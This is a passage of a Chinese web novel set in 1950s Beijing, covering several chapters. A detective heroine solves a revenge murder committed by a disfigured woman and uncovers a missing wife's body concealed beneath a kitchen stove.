顾昭蕙觉着应该还有些遗漏，不过也没说，还是先等等周柏那边调查的情况，下午四点多的时候周柏打电话回来，说是那边调查有些线索，不过要去下边羊角村一趟，今天回来可能要晚。 顾昭蕙看了看时间，干脆让大家都回去，明天再继续调查。 出了门发现齐云松也骑着车跟在她身后，回头看了一眼“你家不是东城这边的吗？回市局吗？”齐云松家里登记的地点是东四十三条七七号院。回家更方便，不过跟她是相反方向。 “妈让我到家里吃饭。顺路。”齐云松骑着车有点懒洋洋的说道。 顾昭蕙恍然，齐云松口中的妈是她婆婆，她之前知道齐云松和蒋永兴是好兄弟好朋友，前段时间才听婆婆说，齐云松的母亲当年也是战地医生，两人关系不错，也是因为曾经在一起工作过，两个孩子才从小一起长大，齐云松母亲是外科医生，有一次齐云松母亲接到调令去了前线，没多久就牺牲了，她走前把孩子托给田静兰照顾，这一照顾就跟自家儿子一样，齐云松一直跟着蒋永兴叫妈。 两人骑车回到家，大哥大嫂已经到家了。 “嫂子。”顾昭蕙看嫂子肚子已经很明显了，算算差不多五个月了。 米雪晴笑呵呵的，因为怀孕胖了一些，“小蕙怎么样挺好的吧，我听你大哥说你现在在市局工作都升组长了。真厉害。” 跟别人家妯娌间的复杂关系不同，米雪晴对顾昭蕙有种姐姐待妹妹的感觉，毕竟两人之间没有太大的利益关系，她又觉着顾昭蕙刚结婚丈夫就没了，还挺心疼她的。 顾昭蕙摇了摇头“也不是什么重要职位。倒是嫂子我看你这肚子好像大一些。” 米雪晴笑了笑“下午刚去医院查了，双胞胎。都已经感觉到胎动了。”这年代其实没什么产检，只是婆婆就在医院工作，检查起来也方便。 “是吗，真好。” 齐云松是跟顾昭蕙一起进院子的，蒋家国，正在院子里劈木头。现在家里用的还是老式灶台，煤炉冬天才用，他之前在部队都是吃食堂，这次回来弄了一车圆木。 “嘿 29. 第 29 章 《五五迷雾寻踪》全本免费阅读 第二十九章 “已经确认死者后脑头发上的血迹不是死者的，两者血型对不上。”李想拿着最新的调查报告，一进屋子就说道。 “那就对上了，我们问过死者家属，死者当时头发上套的发网，用小卡子固定。凶手可能就是被小卡子给刺破了，她太用力了。”吴非说道。昨天晚上他就去死者家里了解过情况。 “好，这样我们就有了证据，现在就需要找出凶手。”顾昭蕙觉离凶手落网不远了。 正说着门口进来几个人，为首的就是周柏，周柏脸色灰暗，整个人也有点萎靡不振的感觉。 “昨天晚上没休息吗？”顾昭蕙看几个人看起来都是一宿没睡一样。 “嗯，没有，我们昨天走访受害者家属，得到一些信息，晚上就去查询，才回来。” 顾昭蕙给几人倒水“先别急，喝点水，李想吴非你们去食堂让大师傅做几碗面条。先休息一下。” 夏天壶里是温水，周柏拿着水杯咕咚咕咚喝了一大杯子，然后停下来，“我们可能查到点线索。”他说着从包里拿出一沓子文件。 顾昭蕙接过来，打开，周柏说“昨天我们去两个受害者家里问话，开始的时候都是没问题，后来我让他们将时间往前推，看看有什么不正常的地方，或者发生过什么意外。他们才说了一个有用的信息。” 周柏再次喝了口水“第一名受害者家人说大约两年前，受害者去乡下的时候公交车出了事故，那辆车半路上遇到山体滑坡，后来费了一番力气才从车里逃出来，那辆车被发现的时候已经都被山体掩埋了。我们去第二名受害者家里的时候问了这个事情，结果这名受害者家属说受害人当时也在这辆车上，两名受害者的关联找到了。” 顾昭蕙这会已经把笔录看完了，“后来他们去挖汽车的时候没有发现里面有尸体。” “对我问了当时的司机，虽然当时情况紧急，车里的人还是都跑出来了，有人受伤却没有发现有人死亡，本来司机还以为有人没有出来，但是他们后来去挖的时候没有发现尸体。” 周柏说着将一张纸抽了出来，“这是当时乘客名单，也是为了调查，当时司机将所有人名字住址都记了下来。我们昨天就去这些人家里拜访了，一下，也是怕再出事昨天几乎是连夜寻访的。除去两个去外地出差的，他们的调查资料全都在这里了。” 顾昭蕙看了做的确实挺细致的。 这时李想吴非端着打托盘上面放着几个大海碗进来，“你们先吃饭，我们看看资料。”顾昭蕙说。 周柏和几个东城分局的同志拿过碗就开吃。 剩下几个人拿着笔录资料开始看，顾昭蕙刚才虽然已经把内容记下来了，但是还要更细致的分析一下，看看能不能从中发现什么。 事情发生在两年前的七月份，是一辆小型的客车从东城开往义县的汽车，半路上遇到山体滑坡。 他们路过的那段路本来就有山体滑坡的风险，不过那段时间干旱，司机就没当回事，不想当时走到那里的时候山上突然滚落许多石头，将路挡上了不说，还将车子砸翻了。车里的人好不容易从后车窗爬出去。刚出去山上就掉落了大量的石头土块，将车埋的严严实实的。 齐云松将手上的一页纸递给顾昭蕙，指了其中一句话，‘我记得这个女的，她当时坐在车子靠后车门的地方，和另外两个女同志坐在一起。’ 顾昭蕙点点头，将手上纸张递给他，上面也记录了另外一位乘客的口供“我们出来后我没看到那个靠后门的女同志，那女同志长得还挺漂亮的，穿着一身碎花裙子，可精神了。不过出来后就没看到了。后来他们说当时车里没有人死亡，可能太混乱没看见。” 有几位乘客对两位死者有些印象，主要是她们都是挺漂亮的女人，她们俩就是在养殖场上的车，车上只有十几个人，好多空位，他们就在靠后门的位置，那里原来坐着一个年轻女人。 当时出事的时候很混乱，多少都有些受伤，所以司机将大家的信息登记了一下，就让他们先去最近的卫生所了。周柏他们也发现了车里还有一个年轻女人没有登记，经过仔细询问有几个人倒是记了起来，说是当时三个女孩子年龄相仿，坐在一起还说过话。但是所有人都不记得那个女同志是否逃出来。 这个女人是关键，可是这个年代想要找个人是非常难的，“有人记得这个人是从养殖场前两站上车的，只是过了两年想要查到太难了。”周柏很快就吃完一碗面，他也知道这个案件的关键是什么。 “现在案子已经查到这里，我们将所有线索都放在一起，串一下。”顾昭蕙说着，走到前面黑板面前，拿出粉笔，将两个受害者情况记录下来，然后又将最新的情况记录在一起，包括一些乘客记下来的有用线索。 “现在已知两名受害者的关联是两年前的山体塌方事件，我们假设此案与那次的山体塌方事件有关，那么凶手杀害两者就是带有报复性质，同时我们看到两名受害者死亡的死后被划伤了脸，那么是不是可以认为，凶手对于受害者容貌在意，或者说凶手对自己的容貌很在意。” “凶手也毁容了，也许就在那次塌方造成的，甚至跟两位死者有关，所以她才会产生报复心理。”顾昭蕙说着，又指向了两个死者所在地，“两名死者死亡地点都属于比较隐蔽的地方，但是我们也可以看到离案发现场不远的地方，就是人员密集地，凶手对当地非常了解，也善于隐藏自己。同时她能将两名受害者约到这个地方，说明了她跟两名受害者认识。假设她用两年前的事情将受害者约出去，约到这个地方，也说得通，或许受害者也怕别人知道所有约在一个隐秘的地方，也是受害人需要的。” “两年时间足够她做好准备了。”齐云松同意顾昭蕙的观点，虽然推测但是非常完整，“她用两年时 30. 第 30 章 《五五迷雾寻踪》全本免费阅读 第三十章 顾昭蕙一眼就看到那个背影，身材中等，有些偏瘦，侧着身子，齐肩短发，头发将面容遮挡脸上还带着一个白色医用口罩，看不清面容。 远远地就看这人从鸡笼里随手一抓就抓到一只公鸡，她手上非常熟练的抓住鸡翅膀又用另外一只手配合着将鸡头往旁边一扭，然后将脖颈的毛往下拔了拔，手中小刀反手一抹，那鸡双腿不断挣扎，可是头和翅膀被抓住，身子根本没有办法做出大幅度摆动，地上有一个桶，这人似乎对自己的刀法十分熟练，鸡血竟然一滴都没有溅到外面。 齐云松倒是看到那人身上穿着的皮围裙，他记得顾昭蕙曾经说过，那人行凶的时候血迹肯定会溅到身上，那么她在离开的时候为什么没有人发现问题。这就是答案，养殖场附近的人肯定习以为常。 顾昭蕙他们没急着上前，而是站在一边按着，那个人速度很快，已经做习惯了的，直到这个鸡笼子里已经没有鸡了那人扭头看向另外一个鸡笼子，才发现他们这行人。一下子愣住了。 顾昭蕙原本想着自己抓到凶犯的时候，这人会反抗会逃跑，可是她没想到对方竟然没有任何的抵抗，只是很冷静的拿着抹布擦了擦手，然后站在那里伸出了双手。 “林芳？”顾昭蕙站在她对面。 林芳点点头。 “知道我们找你什么事吗？” “知道。”林芳双眼直视着顾昭蕙，“我杀了人。” 顾昭蕙看着她，从她那双眼睛中看到了平静，“为什么那么做？” 林芳看着她眼睛里似乎透漏出一丝笑意，或者没有，顾昭蕙并没有看的太清楚，她就看到林芳伸手将脸上带着的口罩摘了下来。 看着那张脸顾昭蕙神色没有变，心中却是深深的叹息，那是一张完全扭曲的脸，从眼睛一下，左右脸颊有数道疤痕，许是林芳是疤痕皮肤那些疤痕上愈合后就好像一条条蜈蚣红黑色泽不一，同时可能缝合的不够仔细，使得她脸上坑坑洼洼的，完全毁掉的一张脸。那种能让人做噩梦的脸。她还记得之前看到林芳的照片，不能说倾国倾城，却是一张非常干净漂亮的脸。 任谁看到这张脸，都会理解她想要报复的心，但是这不是杀人的理由，她需要为自己所作所为付出代价。 没再说什么让李想他们将人带回去，顾昭蕙看着地上的那把小刀，带着手套捡起来，“这个拿回去检查一下吧，应该就是凶器了。”小刀不大，刀把有一扎长，刀口却只有三寸，却锋利异常。 将人带回东城分局，东城分局的人也没想到这个案子他们两天就办了下来，审讯是由周柏带东城分局的人做的，案子办到这里已经足够了。 不过他们没急着回去，他们也想知道当初到底发生了什么。 林芳一直很配合，似乎从她作案开始就想到了这一天，她甚至想好了要怎么说。 那天她去乡下奶奶家，是为了告诉奶奶她要结婚了，想接奶奶进城参加婚礼，她当时坐在客车中间的位置，两站后上来两个姑娘，跟她年级差不多，许是年龄相当的关系，那两个姑娘坐在了她的旁边，三人还说起了话，她知道两个女孩的名字，也知道他们一个是养殖场的一个是幼儿园的老师，事故发生的太快她们都没有反应过来，车就翻了，当时那个养殖场姑娘，一下子就将她压倒，她被压在最下面，车里非常的乱，大家都想往外逃，车顶还有石头往下砸，她本来都挪动了一下，马上就能站起来了，那个幼儿园老师乱踩一脚采在她的脑袋上，她的脸当时就被下边的玻璃碴子给扎的满脸血。 接着就像是噩梦一样，那两个为了逃出去慌乱的踩踏，她不记得自己被踩了多少脚，最后昏迷过去。 再次醒来的时候她就觉着自己浑身都疼，车子在一片黑暗之中，她撑着身子费力的蠕动着，最后从车子的气窗勉强爬了出去，外面都太黑了，周围没有人，她都不知道多久才见到人，等再次醒来的时候已经是第三天了。 她毁容了，因为走错方向，当她得救的时候最近只有一家卫生所，当时夜里没有车，卫生所的医生只能给她做了清理简单治疗。等她能移动去了大医院，脸上已经无可挽回了。 命运似乎并没有眷顾她，受伤之后，看见她毁容的脸，她那个未婚夫就退婚了，明明之前对她好的让人羡慕，说放手就放手，之后原本未婚夫家里给介绍的工作也没了。一切美好的东西都离她远去了。 随着时间的推移，林芳的脸不但没有愈合反而因为伤痕皮肤引发增生，看起来更加狰狞可怕，她甚至不敢照镜子，每看一次自己的脸她就会噩梦连连，似乎永远忘不了那日，她心中恨意越来越深，她有时候会想如果不是那俩个人，她不会受伤这么重，明明当时她已经调整了自己的姿势马上就能站起来了，明明她并没有伤的那么重，还有她们踩着她的脸她的头，那下面的玻璃碎片就像小刀一样将她割裂。 一切都是他们造成的，而且当时她们逃出去后，并没有跟人说车里面还有人，她失去了第一时间获救的可能，别的乘客可能不记得她，可是与她互通姓名的两个人怎么会不记得。 之后每一天她的恨就增加一点，半年后她接替了父亲工作，她原本能成为体面的售货员，现在这样一份工作还是父亲哀求来的。 她发现自己只要想到那两个女人，她挥刀的速度就会增加一些，她想自己会把刀磨得锋利，然后隔断那两人的脖子，划花他们的脸。让他们尝尝这痛苦滋味。 林芳的复仇很有耐心，她用了一年半的时间调查两个受害者，当初两人说了自己的工作单位，找起来并不难，她一直没有动手，主要还是没有把握，就林芳交代，她几乎每天都会跟踪两人，观察两人的情况，不过因为身体不够强壮，所以一直在锻炼，她在杀人的时候已经 31. 第 31 章 《五五迷雾寻踪》全本免费阅读 第三十一章 送走了大儿媳妇田静兰心里有些不得劲，眼看没几个月就能看到孙子了，人却调到南方了，这一去还不知道什么时候能见到呢，现在国家百废待兴，人员调动也十分厉害，往往夫妻父子都各奔一方，儿子调往南方，如果不是这次机会让儿媳妇也去南方，两口子就要分隔两地了。 所以她从来没说什么留下的话，只是送走了人，她精神头也不那么好了，她年级不算大，才五十岁，可是自从永兴没了，她身体就有点不好，加上可能到了更年期，一下子病倒了。 顾昭蕙最近工作还算顺利，没有大案子，永兴的案子，她暂时插不上手，本来还想着调查一下，齐云松却是特意找她谈了一下，那边确实发现一点问题，顾昭蕙的怀疑没有错，只是他们在查找的时候发现这赵庆远好像跟另外一条线有关系。 顾昭蕙看着齐云松，“你知道我有些能力，给我些时间，我会将他们都找出来。” 齐云松看着那双坚定又清澈的眼睛，过了一会才说“没有人怀疑，只是这件事情涉及面太大，也需要谨慎一些。” “所以你们都怀疑我？”顾昭蕙心里有些烦躁。 齐云松摇了摇头，“不光是你，所有相关人员都要进行排查。” 顾昭蕙嗤笑一声没说什么。 齐云松知道她肯定想要自己调查，“我知道你想要自己调查，我也相信你谨慎，但是你觉着赵迅与顾佳蕙的相识，是偶然吗？” 顾昭蕙皱了一下眉头，“他在找什么？怀疑在我这？” 齐云松发现她真是很敏锐“嗯，只是你这边一直忙着案子，他那边也接触不到。而且虽然我们这边使了一些手段，让赵迅跟顾佳蕙分开，但是赵迅也表现的很接受的样子。” “他对自己父亲的身份是清楚的？他么父子关系是真实的吗？”顾昭蕙想到一些怀疑。 “他们两个长得挺像的，不过赵迅那边是四七年进京，当时是从南边过来，调查背景的人已经过去了，只是很多资料都销毁了，很难查找。” 顾昭蕙想了想“我知道了，我等着他来找我。” 顾昭蕙也清楚对于某些特务来说一动不如一静，那边既然想要认识她，想要从她这里得到点什么，那么她等着就行了。 正好这段日子田静兰身体不舒服，她也把注意力放到家里，每天按时上下班，天气热，家里饭吃的简单，顾昭蕙在院子里种了些蔬菜，小白菜黄瓜豆角，都已经成熟了，院里的土地没那么有营养，都是老房子，地下几乎都是砖石，想要养好蔬菜不容易。 顾昭蕙当初种菜的时候用木头定的箱子，这次大哥弄回来不少木头，都是一根根的，她留了一些，定了新的养殖箱，这天她让爷爷帮忙弄些土，老爷子平常没事就出门跟几个伙伴去钓鱼，有时候走的远还能跟人换点兔子什么的。 老爷子当年背着奶奶一直走到京城，劳动了一辈子，这几年闲下来，还有点不适应呢，听孙女说想要些好土，二话不说就带着两个老兄弟，去了乡下，他交际多，当年在乡下还有几个老伙伴，去了乡下跟着人去水库钓了两天鱼，然后就让老伙伴的儿子架着牛车拉了一车土。 等顾昭蕙听到大院门口来的电话都惊到了，本来就想让爷爷帮着弄一麻袋，他钓鱼的地方就有一些好土，那想着这么大阵仗。得亏这年代牛马车还能进城。 将人让到家里，那青年特别勤快，还帮他们把土放到院子一角，另外让顾昭蕙意外的是他还给带了一袋子羊粪蛋子，那可是极好的肥料。 “俺爹说了等明年开春能种菜的时候在给你们送点肥料。”二壮将土运进来，还顺手把院子里撒的土收拾干净。弄好了就要走，顾昭蕙知道他要抓紧时间赶回去，他早上天没亮就出发了，这会回去要到半夜了。 给二壮拿了几个大馒头，另外刚才还给煮了四个鸡蛋让他揣着。 二壮说啥也不要，还是田静兰从屋里出来一起劝着才拿着。顾昭蕙也是从他那里知道，爷爷当年还救过二壮的父亲呢，当年他父亲进城卖柴，让人给截住了，不但不给柴钱还差点被抓了壮丁，还是她爷爷给那军爷一块大洋，把人给救了出来。这么多年他家人还经常进城送些柴火鸡蛋啥的。爷爷也送他们一些乡下买不到的，虽然交往起来淡淡的却很实在。 田静兰不知道儿媳妇弄了那么多的土干什么，然后就看着儿媳妇趁着周日休息的时候在院子里把养殖箱钉好，蒋爸看了也帮忙，田静兰本来身上没什么劲，干什么事都提不起精神，但是这会看着俩人忙活的样子，也有点兴趣，看着顾昭蕙将原本养殖箱里养着的小青菜，一颗颗的移栽到这边，主要是白菜，茄子，还有萝卜，种子都是顾昭蕙从集市上淘换回来的，南鼓锣巷那边还有集市，早上如果早点出门，什么都买的到，不过也就这一两年了。 她专门淘换一些种子，只是这年代种子的种类也不是那么多，前几天去早市弄了些西红柿种子，她都怕养坏了，只单独在盆子里养了，现在种的有点晚了，等明年她再用单独的一个大养殖箱养着。 白菜茄子都是提前鱼苗的，现在一排排种上，就等着收获了。 忙活了一个周末院子里也是大变样了，田静兰也开始有了兴趣，很是上心，如果不是顾昭蕙让她不用那么频繁浇水，估计她早晚都要浇水，每天就喜欢拿着水壶转悠。 就这么的等顾昭蕙餐桌上开始吃着新种的蔬菜的时候，时间已经来到八月底了，这段日子局里有几个小案子交给他们组，顾昭蕙也是想要锻炼一下组员，将案子交给手下的几个人，她从来不是什么事都一把抓的人，这年代破案没有高科技的帮助，没有法医技术支持，靠的就是人，所以她希望手下的人都有个破案脑，至少遇见一个案子知道从那里下手。她需要做的就是在他们遇到问题的时候给他们一些意见。 并不是她自大，而是这年代除非特别恶劣的案子，都是一目了然的，所以很多案子她几乎了解了详情就知 32. 第 32 章 《五五迷雾寻踪》全本免费阅读 第三十二章 星期一一上班顾昭蕙就等在办公楼前面，齐云松一上班，她就拉着他去了后边操场。 “我等不了了，赵迅已经开始追求我妹妹了，面对这样一个处心积虑的人，不能让我妹妹陷进去。” 齐云松看着顾昭蕙脸上略带焦急的眼神，似乎第一次感受到她强烈的情绪，“我们已经开始调查了，但是总要给我们一些时间。” “可是对于一个已经开始心动的女孩一天都是多的。” 齐云松看着她“发生了什么事情了吗？” 顾昭蕙往前走了两步抻了抻衣服，昨天他送了嘉慧一本手写的雷雨。”说完顾昭蕙看着齐云松“你知道这个对于一个女孩子杀伤力有多大吗！” 齐云松开始回没觉着有什么问题，毕竟他也不是文艺青年，但是很快就反应过来这个年代的年轻人，诗歌散文话剧等文艺作品对他们有很深的吸引力，甚至有女性会因为一首诗一封信就会爱上对方，以此类推一本手抄版的雷雨会有多么大的吸引力，而为自己做出这样事情的人更是魅力非凡。 想想赵迅的斯文相貌，在做这样的事情还问没有几个女人能挺得住的。想到这里他也严肃起来，“他想做什么？肯定是有缘由的。”之前他们调查赵迅对顾嘉蕙并没有那么强烈的感情。 顾昭蕙昨天晚上睡不着觉也在考虑这个问题，“说起这个我倒是觉着他的目的不一定是我，我问过嘉慧昨天她说了我会去但是他并没有去家里跟我接触。” “或许他在欲擒故纵？” 顾昭蕙摇了摇头“不像。” “那就是有所图。”齐云松想了想“这事得好好查查。” 顾昭蕙有些着急但是也不能做什么，现在京城里的敌特特别多，没解放那会南边那边知道大势已去，就开始布局，弄了一堆潜伏人员，这几年没少搞破坏，之前关于赵庆远的怀疑报上去那么久，还没有结果，这人是间谍无疑了，如果他真是蝰蛇，那么从他身上还能挖出更多的东西，所以她不能轻举妄动。 回到办公室，顾昭蕙心情莫名有点烦躁，或许她没有自己想的那么冷静。刚准备看看卷宗转移一下注意力。就看见李想带着一个老头进来，“组长，这是郑局的乡亲，过来报个案。” 顾昭蕙点点头，让老人家坐下，给倒了杯水，“大爷，您先喝点水歇歇。” 老头精瘦，个子不高，手上满是老茧，一看就是种地的农民。他可能一路走来也渴了，咕咚咕咚的把水喝了。“同志，我想报案，我闺女让我女婿给杀了。” 顾昭蕙听了一惊，齐云松之前回来一直靠着窗户喝水，这会听老爷子一说是个杀人案，问道“大爷您是王水县的吧？怎么到这里报案啊。”郑局是他们市局的副局长，是个老革命，不过老家就在王水乡。 “我是王水乡的，我闺女嫁到南城苦水井胡同，我闺女失踪后，我就去他们那边派出所报案，但是他们不接案子，说我闺女没准备那天自己就回去了。”老头说着抹了一把眼泪，“我闺女虽然性子不好，可总不会那么长时间不去看我。我实在没办法了，才找到这来的。” “也就是说你闺女实际上是失踪了？”顾昭蕙听明白了。 老头点点头，“不是这么长时间了，我闺女肯定是被女婿给杀了。那就不是个好东西。” 这活不见人死不见尸，是最麻烦的案子，有很多案子都因为找不到尸体最终被定性为失踪案。最后不了了之。 他们又仔细给老头做了笔录，老头叫郑国君，他闺女郑幺女今年二十八岁，七年前嫁给苦水井胡同赵二宝，两人结婚七年还没有孩子，两口子也因为没有孩子经常打架，郑幺女是郑国君的小女儿，从小有些娇惯，但是对父亲非常孝顺，虽然离家不算近但是每个月都要回去一趟，这一次她已经两个月没回来了，郑国君就着急，去了女婿家，跟女婿大吵了一架，觉着就是他女婿杀的人。 顾昭蕙听了郑国君的话，觉着他闺女确实失踪的有点蹊跷，干脆带着齐云松和李想一起去南城看看。 先让老爷子回家，他们调查有了消息再通知他们。 来到南城苦水井胡同这边，他们先去了当地派出所，派出所的副所长亲自接待了他们，一听他们说他们的来历，这位叫张正弦的副所长一脸苦笑，“哎，没想到他还找你们那里去了。他这个月已经来了七八次了，可是他闺女的案子真是没法办。” “哦，怎么说？”顾昭蕙问道。 “哎，你们不直到他闺女郑幺女是苦水井胡同一霸，那厉害的，街坊邻居没有不怕的，她跟赵二宝结婚后，三天一小吵五天一大吵的，跟街坊邻居也是矛盾不断，光去年下半年，我们派出所就去他们院子十次还多，专门去给他们调节纠纷，每次都是极小的事情。”张正弦说着都是满脸苦笑，指了指自己眼角下边一道白色的小疤“你看这是去年九月份我去他家里给调节矛盾，给我挠的。差点就给我划到眼睛上了。” “这么厉害，应该关起来好好教育一下。”齐云松突然笑了。这派出所的民警还怕个妇女不成。 “可别提了，她家里有六个哥哥，这不是怕他们家几个哥哥再闹事。” “那人真的失踪了，你们就没查查？”顾昭蕙问不管怎么说都是个人命案子不是。 “查怎么不查，这不是去年也有人保安说是郑幺女被杀了，我们也当个正式的案子，给办了，结果怎么样，我们费劲巴拉的走访几日，人家又回来了，不但回来了还把我们臭骂一顿。” 张正弦也是一肚子苦水，“光去年一年就报了两次杀妻，我们都当成凶杀案来办，但是最后乌龙结尾，而且说赵二宝杀妻大家也不太信，赵二宝更像是受害者，因为这个老婆没少被打，郑幺女的几个哥哥听说妹妹被欺负了，就上门打人，我们派出所还得去调节。” 听了张正弦的话顾昭蕙也明白了这就是个狼来了的故事，假话说多了真话也没人信了，就是不知道这次是真话还是假话。 张正弦派了一个叫耿乐天的小民警陪他们一起去苦水井胡同，京城胡同叫什么井的胡同特别多，但是一般都叫甜水井，福井等带有吉祥寓意的，叫苦水井的比较少，明清时期南城属于平民区，当地挖到苦水井稍微有些钱的也不会在这里落户了。 等他们进入这边胡同区就能发现这胡同十分狭窄闭塞，另外就是房屋比较破旧竟然还能看到泥土房屋。 这条胡同就 33. 第 33 章 《五五迷雾寻踪》全本免费阅读 第三十三章 “五月份收拾的，我媳妇嫌弃里边刷漆有味，就一直在外边做饭。”接话的是一个三十岁左右的男人，这人个子有一米七，长得挺喜庆，白胖白胖的，看着倒是和善。 “这就是赵二宝。”耿乐天给顾昭蕙他们介绍。 “耿同志，我妻子那边有消息了吗？”赵二宝问着自己最熟悉的耿乐天。 “市局的同志，就是为了你媳妇的事情过来做调查的。你要积极配合一下。”耿乐天说道。 顾昭蕙指了指厨房，“我们能进去看一下吗？” 赵二宝点点头，“您随意。” 顾昭蕙走进厨房，赵二宝的房子是正房三间东西各一间耳房，厨房是从西耳房前面接出来，盖得，不知道原本什么样，现在看着却是比别人家住房还好一些，用的还是砖瓦，屋子里边收拾的也特别规整。靠着西墙有两个灶台，上面是大大的锅灶南墙是一排柜子，下边有桌子放菜板，靠窗的地方竟然还接了自来水。 现在市里的自来水都没有那么多，虽然市政已经开始给各处接自来水，但是速度没那么快，这南城民房密集，接通更是费劲，不过顾昭蕙想起来了这边是苦水井，属于市里最先照顾的地方。不过将水接到家里的还真是没几家。 厨房四周的一米左右的地方都用绿色的油漆刷了一下，上面则是白灰刷的。 “你这里是四月份收拾的？”顾昭蕙再次问了一下。 赵二宝点点头“是的，当时我媳妇那事闹的挺大的，我怕她跟我继续闹，就从朋友那里弄了点料，又让我老丈人帮忙盖的房子。” “哦，这样啊，你发现你媳妇不见是什么时候？”顾昭蕙问。 赵二宝老实的回答“是六月份，六月初的时候我跟我媳妇因为生孩子的事又吵起来了，我媳妇大半夜的就出门了。我以为她回娘家了，就没当回事，之后我单位有事我出差去了海城，差不多过了一个月我回来媳妇还没回来，我正想着去老丈人家接人，结果老丈人就来了，还说我媳妇都俩月没回家看她了，我那时候才知道她没回娘家，当时也报案了，但是我觉着她肯定是自己走的，说不定哪天就回来了，也就我老丈人，总说是我杀了她。”说道这里赵二宝就觉着自己特别冤枉，满脸苦笑，“我们家都是我媳妇说的算，我连鸡都不敢杀，怎么敢杀人呢。” 顾昭蕙没有说什么，仔细看着厨房，这厨房地面是用水泥抹的，跟墙一样刷了漆，看起来真是干净异常。 之后顾昭蕙几人又去了正房，正房三间，只看客厅就知道这家人是个利索人，屋子里真是收拾的整整齐齐的。 他们探访了一下邻居，邻居说法与耿乐天他们知道的差不多，这两口子平常好的时候可好了，可是要说俩人打架是真的打，尤其郑幺女打架的时候真上手，赵二宝都只有挨打的份，大家还夸赵二宝，说是一个男人干活倒是利落，本人还是个采购员，是他们院里过得最好的人家。 说起郑幺女，大家都觉着挺作的，不能生孩子脾气还大，不管是谁惹着她了就是一顿闹。 有邻居说那天郑幺女离家的时候有人听见动静，两口子那次闹的特别厉害，有邻居说在窗口看着郑幺女离开，也有人说听见开门动静了。 知道他们调查这事，还有人笑着说，让他们别费劲了，说不定郑幺女就是去那个亲戚家了，说不定哪天就回来了，她也不是第一次离家出走了。 收集了一堆信息，顾昭蕙带着人离开苦水井胡同，“齐云松你跟我去一趟郑家，李想你再将这边的信息好好查一下，主要是平时他们夫妻关系，还有郑幺女与人打架，看看跟谁有矛盾。” 李想点点头“组长你说郑幺女是离家出走还是出了意外？” 顾昭蕙看了他一眼“郑父已经寻找这么长时间了，如果去了亲戚家早就找回来了。” “我总觉着赵家有哪里不对劲，又说不出来。”两个人一起往郑家去的路上，顾昭蕙问齐云松。 齐云松一边骑着车子，一边说“他家里太干净了，也看不见郑幺女的物品了。” 顾昭蕙听到这恍然大悟“你说的对，我说怎么不对呢，几乎没有郑幺女存在痕迹了。” “我感觉郑幺女恐怕已经遭遇不测了。”齐云松说道。 顾昭蕙也点点头 34. 第 34 章 《五五迷雾寻踪》全本免费阅读 第三十四章 事实上许多事情都是经不起推敲的，将赵家的事情一件件的汇总，他们总是能看出一些蹊跷来。 赵二宝和郑幺女结婚后，两人过了一段平静日子，但是三年之后两人没有孩子，李想查过了医院记录，记载着郑幺女一侧输卵管堵塞，加上宫寒等妇科问题不易怀孕，那之后两个人就时常吵架，但是顾昭蕙发现每次吵架都是有些缘由的，几乎每次吵架后，郑家就会给赵二宝家一些好处。 这么几年下来，几乎每次郑幺女回了娘家回来都能得些好处，另外就是郑幺女的名声越来越差，去年不知道为什么就传出赵二宝杀妻的事情，一次两次的，让所有人都觉着这是一件狼来了的事情，没有人把这个事情当真，以至于到了现在郑幺女失踪这么久，除了她的家人，别人都觉着她任性的离开了。 “我觉着郑幺女应该是凶多吉少了。”齐云松说道。 顾昭蕙点头“我也这么觉得，那么郑幺女现在在什么地方？”如果找不到尸体他们也只能当做失踪案来办。 “这个有点难找。”齐云松说道。 顾昭蕙想了想“你们说赵二宝为什么做那么多多余的事情，甚至都出动了片警，进行调查。这样是不是太引人注意了。” “除非他有这么做的理由。” 顾昭蕙将所有线索都在脑海里进行整理，突然眼睛一亮，“你们看啊，首先他利用郑幺女经常吵架回家的事情，让大家都心里产生错觉，郑幺女一吵架就回家，所以就算郑幺女失踪了也不会被人怀疑，之后他还做了什么？他重新盖了厨房，进行了装修，我看过了他家的厨房虽然有用过的痕迹，但是很近也很少，假设他收拾厨房的行为是其中一环会想到什么？” “厨房藏尸？”李想接话“可是厨房不是在她消失前就弄好的吗？” 顾昭蕙点点头，“你说的对，可是你看那个地面还有墙壁都用油漆好好的粉刷一遍，我看过粉刷不止一层，那个环境十分适合毁尸灭迹，好收拾。”在没有检测试剂的今天，血迹很容易清楚掉，“除此之外郑幺女不喜欢油漆味，这个是她父亲说过的，所以郑幺女根本不会用新厨房，所以厨房可以提前做好准备。” “那我们去看看吧。”齐云松拿起自行车钥匙站了起来，实际上这个推论与他想的很相似。 一行人直接骑车去了苦水井胡同，赵二宝在家，屋里正在烧火，看见他们进来有点不知所措的样子，“同志你们还有什么是吗？”顾昭蕙敏锐的发现他的手有些颤抖。 “我们过来再次检查一下。”随口说了一句，现在可没有后来那样还需要许可证才能进屋搜查。 进了厨房顾昭蕙看了看，厨房真的很干净，似乎他们走了之后又擦了一遍，顾昭蕙仔细看了看地面对着几人摇了摇头，地面被彻底清洁过，橱柜都是新的，看了一下地面，人不可能埋在下面，因为水泥地面如果凿开会被人发现。 齐云松看着燃烧着的锅灶。“组长。”他指了指锅灶。 顾昭蕙走了过去“这个锅灶是市面上能买到的最大的锅灶。”顾昭蕙看过去，是一大一小两个锅灶，齐云松将大锅的锅灶掀开，里面是一碗饭和一个蒸菜碗，那么大的锅就做这么点饭菜，有点浪费了。旁边的小锅还闲着。 “揭开看看。” 大锅下边点着柴火，有点不好弄，费了一番力气，将下边的柴火捡走，烧的还是大木头，就这么多木头，都够烧到明天早上了。 将锅弄下来，顾昭蕙仔细看没看出什么，“往下挖一挖吧。” 锅灶下的地面烤的梆硬，整个厨房其它地方都是用水泥封的，这边却是用的泥土，虽然硬但是几锹下去地面还是被挖开了。 “有东西。”李想感觉到手上的锹碰到一些软的东西。 “把灶台打开，小心点。”顾昭蕙果断的说道。 李想从灶台里边出来，其他人一起上去小心的将灶台撬开，所有的石块砖头都小心的放到一旁，以方便之后进行检查。 灶台全都挖开，就看到下边的地面，虽然因为长时间烧火，下边痕迹还是很明显的，可能水泥是直接浇灌的，抹的不是很平整，已经被李想撬开一块，里边露出一件有点焦糊的布料。 顾昭蕙先让人拍照，然后再将尸体弄出来，尸体是蜷缩着放在里边的，上边用水泥浇灌，因为连在一起最后还是将边上连着水泥和尸体一起弄出来，可以看出来下边就是一个大坑，赵二宝应该是一开始盖厨房的时候就准备好了，用这样大的灶，将下边空间挖开，等杀了人将人直接放到里边，然后灌上水泥。 